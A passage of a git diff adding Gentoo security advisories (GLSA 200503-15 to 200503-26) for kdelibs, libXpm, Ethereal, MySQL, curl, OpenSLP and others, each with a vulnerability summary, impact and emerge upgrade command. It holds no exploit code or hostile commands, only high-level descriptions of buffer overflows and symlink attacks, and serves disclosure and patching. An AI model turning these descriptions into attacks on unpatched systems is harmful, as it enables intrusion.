+      <unaffected range="ge">3.3.2-r5</unaffected>
+      <unaffected range="rge">3.2.3-r7</unaffected>
+      <vulnerable range="lt">3.3.2-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. DCOP is KDE's simple IPC/RPC mechanism.
+    dcopidlng is a DCOP helper script.
+    </p>
+  </background>
+  <description>
+    <p>
+    Davide Madrisan has discovered that the dcopidlng script creates
+    temporary files in a world-writable directory with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When dcopidlng is executed, this would result in the file being
+    overwritten with the rights of the user running the utility, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdelibs</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0365">CAN-2005-0365</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu,  3 Mar 2005 21:01:57 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  6 Mar 2005 09:59:12 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-15.xml b/xml/htdocs/security/en/glsa/glsa-200503-15.xml
new file mode 100644
index 00000000..3cfa1c03
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-15.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-15">
+  <title>X.org: libXpm vulnerability</title>
+  <synopsis>
+    A new vulnerability has been discovered in libXpm, which is included in
+    X.org, that can potentially lead to remote code execution.
+  </synopsis>
+  <product type="ebuild">X.org</product>
+  <announced>March 12, 2005</announced>
+  <revised>March 12, 2005: 02</revised>
+  <bug>83598</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="rge">6.8.0-r5</unaffected>
+      <unaffected range="ge">6.8.2-r1</unaffected>
+      <vulnerable range="lt">6.8.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libXpm is a pixmap manipulation library for the X Window System,
+    included in X.org.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Gilbert has discovered potentially exploitable buffer overflow
+    cases in libXpm that weren't fixed in previous libXpm versions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A carefully-crafted XPM file could crash X.org, potentially allowing
+    the execution of arbitrary code with the privileges of the user running
+    the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose x11-base/xorg-x11</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0605">CAN-2005-0605</uri>
+    <uri link="https://bugs.freedesktop.org/show_bug.cgi?id=1920">Freedesktop bug</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun,  6 Mar 2005 13:19:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  7 Mar 2005 11:11:00 +0000">
+    SeJo
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 11 Mar 2005 13:22:24 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-16.xml b/xml/htdocs/security/en/glsa/glsa-200503-16.xml
new file mode 100644
index 00000000..997e18ad
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-16.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-16">
+  <title>Ethereal: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities exist in Ethereal, which may allow an attacker to
+    run arbitrary code or crash the program.
+  </synopsis>
+  <product type="ebuild">ethereal</product>
+  <announced>March 12, 2005</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>84547</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/ethereal" auto="yes" arch="*">
+      <unaffected range="ge">0.10.10</unaffected>
+      <vulnerable range="lt">0.10.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ethereal is a feature rich network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    There are multiple vulnerabilities in versions of Ethereal earlier than
+    0.10.10, including:
+    </p>
+    <ul>
+    <li>The Etheric, 3GPP2 A11 and IAPP dissectors are vulnerable to buffer
+    overflows (CAN-2005-0704, CAN-2005-0699 and CAN-2005-0739).</li>
+    <li>The GPRS-LLC could crash when the "ignore cipher bit" option is
+    enabled (CAN-2005-0705).</li>
+    <li>Various vulnerabilities in JXTA and sFlow dissectors.</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker might be able to use these vulnerabilities to crash
+    Ethereal and execute arbitrary code with the permissions of the user
+    running Ethereal, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    For a temporary workaround you can disable all affected protocol
+    dissectors. However, it is strongly recommended that you upgrade to the
+    latest stable version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ethereal users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/ethereal-0.10.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0699">CAN-2005-0699</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0704">CAN-2005-0704</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0705">CAN-2005-0705</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0739">CAN-2005-0739</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0765">CVE-2005-0765</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0766">CVE-2005-0766</uri>
+    <uri link="http://www.ethereal.com/appnotes/enpa-sa-00018.html">Ethereal enpa-sa-00018</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed,  9 Mar 2005 13:39:26 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Mar 2005 15:50:23 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-17.xml b/xml/htdocs/security/en/glsa/glsa-200503-17.xml
new file mode 100644
index 00000000..1ca48ac6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-17.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-17">
+  <title>libexif: Buffer overflow vulnerability</title>
+  <synopsis>
+    libexif fails to validate certain inputs, making it vulnerable to buffer
+    overflows.
+  </synopsis>
+  <product type="ebuild">libexif</product>
+  <announced>March 12, 2005</announced>
+  <revised>March 12, 2005: 01</revised>
+  <bug>84076</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libexif" auto="yes" arch="*">
+      <unaffected range="ge">0.5.12-r1</unaffected>
+      <vulnerable range="lt">0.5.12-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libexif is a library for parsing, editing and saving EXIF data.
+    </p>
+  </background>
+  <description>
+    <p>
+    libexif contains a buffer overflow vulnerability in the EXIF tag
+    validation code. When opening an image with a specially crafted EXIF
+    tag, the lack of validation can cause applications linked to libexif to
+    crash.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A specially crafted EXIF file could crash applications making use
+    of libexif, potentially allowing the execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libexif users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libexif-0.5.12-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0664">CAN-2005-0664</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 12 Mar 2005 16:28:06 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Mar 2005 17:56:45 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 12 Mar 2005 18:48:27 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-18.xml b/xml/htdocs/security/en/glsa/glsa-200503-18.xml
new file mode 100644
index 00000000..d35ceadf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-18.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-18">
+  <title>Ringtone Tools: Buffer overflow vulnerability</title>
+  <synopsis>
+    The Ringtone Tools utilities contain a buffer overflow vulnerability,
+    potentially leading to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ringtonetools</product>
+  <announced>March 15, 2005</announced>
+  <revised>March 15, 2005: 01</revised>
+  <bug>74700</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-mobilephone/ringtonetools" auto="yes" arch="*">
+      <unaffected range="ge">2.23</unaffected>
+      <vulnerable range="lt">2.23</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ringtone Tools is a program for creating ringtones and logos for
+    mobile phones.
+    </p>
+  </background>
+  <description>
+    <p>
+    Qiao Zhang has discovered a buffer overflow vulnerability in the
+    'parse_emelody' function in 'parse_emelody.c'.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a Ringtone Tools user to open a
+    specially crafted eMelody file, which would potentially lead to the
+    execution of arbitrary code with the rights of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ringtone Tools users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-mobilephone/ringtonetools-2.23&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1292">CAN-2004-1292</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Mar 2005 02:28:50 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Mar 2005 09:56:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Mar 2005 14:11:25 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-19.xml b/xml/htdocs/security/en/glsa/glsa-200503-19.xml
new file mode 100644
index 00000000..e21f5bcd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-19.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-19">
+  <title>MySQL: Multiple vulnerabilities</title>
+  <synopsis>
+    MySQL contains several vulnerabilities potentially leading to the
+    overwriting of local files or to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mysql</product>
+  <announced>March 16, 2005</announced>
+  <revised>March 16, 2005: 02</revised>
+  <bug>84819</bug>
+  <access>remote and local</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">4.0.24</unaffected>
+      <vulnerable range="lt">4.0.24</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a fast, multi-threaded, multi-user SQL database server.
+    </p>
+  </background>
+  <description>
+    <p>
+    MySQL fails to properly validate input for authenticated users with
+    INSERT and DELETE privileges (CAN-2005-0709 and CAN-2005-0710).
+    Furthermore MySQL uses predictable filenames when creating temporary
+    files with CREATE TEMPORARY TABLE (CAN-2005-0711).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker with INSERT and DELETE privileges could exploit this to
+    manipulate the mysql table or accessing libc calls, potentially leading
+    to the execution of arbitrary code with the permissions of the user
+    running MySQL. An attacker with CREATE TEMPORARY TABLE privileges could
+    exploit this to overwrite arbitrary files via a symlink attack.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-4.0.24&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0709">CAN-2005-0709</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0710">CAN-2005-0710</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0711">CAN-2005-0711</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Mar 2005 05:33:03 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Mar 2005 06:04:30 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Mar 2005 15:41:11 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-20.xml b/xml/htdocs/security/en/glsa/glsa-200503-20.xml
new file mode 100644
index 00000000..cb837b14
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-20.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-20">
+  <title>curl: NTLM response buffer overflow</title>
+  <synopsis>
+    curl is vulnerable to a buffer overflow which could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">curl</product>
+  <announced>March 16, 2005</announced>
+  <revised>March 16, 2005: 01</revised>
+  <bug>82534</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/curl" auto="yes" arch="*">
+      <unaffected range="ge">7.13.1</unaffected>
+      <vulnerable range="lt">7.13.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    curl is a command line tool for transferring files via many
+    different protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    curl fails to properly check boundaries when handling NTLM
+    authentication.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    With a malicious server an attacker could send a carefully crafted
+    NTLM response to a connecting client leading to the execution of
+    arbitrary code with the permissions of the user running curl.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable NTLM authentication by not using the --anyauth or --ntlm
+    options.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All curl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/curl-7.13.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0490">CAN-2005-0490</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 12 Mar 2005 16:36:42 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 12 Mar 2005 17:56:09 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 14 Mar 2005 05:48:14 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-21.xml b/xml/htdocs/security/en/glsa/glsa-200503-21.xml
new file mode 100644
index 00000000..85940d48
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-21.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-21">
+  <title>Grip: CDDB response overflow</title>
+  <synopsis>
+    Grip contains a buffer overflow that can be triggered by a large CDDB
+    response, potentially allowing the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">grip</product>
+  <announced>March 17, 2005</announced>
+  <revised>March 17, 2005: 01</revised>
+  <bug>84704</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/grip" auto="yes" arch="*">
+      <unaffected range="ge">3.3.0</unaffected>
+      <vulnerable range="lt">3.3.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Grip is a GTK+ based audio CD player/ripper.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joseph VanAndel has discovered a buffer overflow in Grip when
+    processing large CDDB results.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A malicious CDDB server could cause Grip to crash by returning
+    more then 16 matches, potentially allowing the execution of arbitrary
+    code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable automatic CDDB queries, but we highly encourage users to
+    upgrade to 3.3.0.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Grip users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/grip-3.3.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0706">CAN-2005-0706</uri>
+    <uri link="http://sourceforge.net/tracker/?group_id=3714&amp;atid=103714&amp;func=detail&amp;aid=834724">Original Bug Report</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 14 Mar 2005 20:06:50 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 15 Mar 2005 23:47:13 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 17 Mar 2005 10:03:26 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-22.xml b/xml/htdocs/security/en/glsa/glsa-200503-22.xml
new file mode 100644
index 00000000..dd0a6d59
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-22.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-22">
+  <title>KDE: Local Denial of Service</title>
+  <synopsis>
+    KDE is vulnerable to a local Denial of Service attack.
+  </synopsis>
+  <product type="ebuild">kde, dcopserver</product>
+  <announced>March 19, 2005</announced>
+  <revised>March 19, 2005: 01</revised>
+  <bug>83814</bug>
+  <access>local</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.3.2-r7</unaffected>
+      <unaffected range="rge">3.2.3-r8</unaffected>
+      <vulnerable range="lt">3.3.2-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a feature-rich graphical desktop environment for Linux and
+    Unix-like Operating Systems. DCOP is KDE's simple IPC/RPC mechanism.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer discovered that it is possible to stall the
+    dcopserver of other users.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this to cause a local Denial of Service
+    by stalling the dcopserver in the authentication process. As a result
+    all desktop functionality relying on DCOP will cease to function.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose kde-base/kdelibs</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0396">CAN-2005-0396</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 14 Mar 2005 06:00:10 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 19 Mar 2005 07:23:43 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-23.xml b/xml/htdocs/security/en/glsa/glsa-200503-23.xml
new file mode 100644
index 00000000..2fdcf3e1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-23.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-23">
+  <title>rxvt-unicode: Buffer overflow</title>
+  <synopsis>
+    rxvt-unicode is vulnerable to a buffer overflow that could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">rxvt-unicode</product>
+  <announced>March 20, 2005</announced>
+  <revised>March 20, 2005: 01</revised>
+  <bug>84680</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-terms/rxvt-unicode" auto="yes" arch="*">
+      <unaffected range="ge">5.3</unaffected>
+      <unaffected range="lt">4.8</unaffected>
+      <vulnerable range="lt">5.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rxvt-unicode is a clone of the well known terminal emulator rxvt.
+    </p>
+  </background>
+  <description>
+    <p>
+    Rob Holland of the Gentoo Linux Security Audit Team discovered
+    that rxvt-unicode fails to properly check input length.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would allow an attacker to execute
+    arbitrary code with the permissions of the user running rxvt-unicode.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rxvt-unicode users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-terms/rxvt-unicode-5.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0764">CAN-2005-0764</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 15 Mar 2005 14:52:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 15 Mar 2005 23:51:13 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Mar 2005 16:52:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-24.xml b/xml/htdocs/security/en/glsa/glsa-200503-24.xml
new file mode 100644
index 00000000..9d7b495b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-24.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-24">
+  <title>LTris: Buffer overflow</title>
+  <synopsis>
+    LTris is vulnerable to a buffer overflow which could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">LTris</product>
+  <announced>March 20, 2005</announced>
+  <revised>March 20, 2005: 01</revised>
+  <bug>85770</bug>
+  <access>local</access>
+  <affected>
+    <package name="games-puzzle/ltris" auto="yes" arch="*">
+      <unaffected range="ge">1.0.10</unaffected>
+      <vulnerable range="lt">1.0.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    LTris is a Tetris clone.
+    </p>
+  </background>
+  <description>
+    <p>
+    LTris is vulnerable to a buffer overflow when reading the global
+    highscores file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By modifying the global highscores file a malicious user could
+    trick another user to execute arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All LTris users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-puzzle/ltris-1.0.10&quot;</code>
+  </resolution>
+  <references/>
+  <metadata tag="requester" timestamp="Fri, 18 Mar 2005 18:14:03 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Mar 2005 14:43:57 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 20 Mar 2005 17:00:38 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-25.xml b/xml/htdocs/security/en/glsa/glsa-200503-25.xml
new file mode 100644
index 00000000..5e2d7ff1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-25.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-25">
+  <title>OpenSLP: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple buffer overflows have been found in OpenSLP, which could lead to
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">OpenSLP</product>
+  <announced>March 20, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>85347</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/openslp" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1</unaffected>
+      <vulnerable range="lt">1.2.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSLP is an open-source implementation of Service Location Protocol
+    (SLP).
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple buffer overflows have been found in OpenSLP, when handling
+    malformed SLP packets.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending specially crafted SLP packets, a remote attacker could
+    potentially execute arbitrary code with the rights of the OpenSLP
+    daemon.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSLP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/openslp-1.2.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.novell.com/linux/security/advisories/2005_15_openslp.html">SUSE Security Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0769">CVE-2005-0769</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 16 Mar 2005 22:37:07 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 17 Mar 2005 14:53:57 +0000">
+    formula7
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 20 Mar 2005 20:02:39 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200503-26.xml b/xml/htdocs/security/en/glsa/glsa-200503-26.xml
new file mode 100644
index 00000000..bb90e1a4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200503-26.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200503-26">
+  <title>Sylpheed, Sylpheed-claws: Message reply overflow</title>
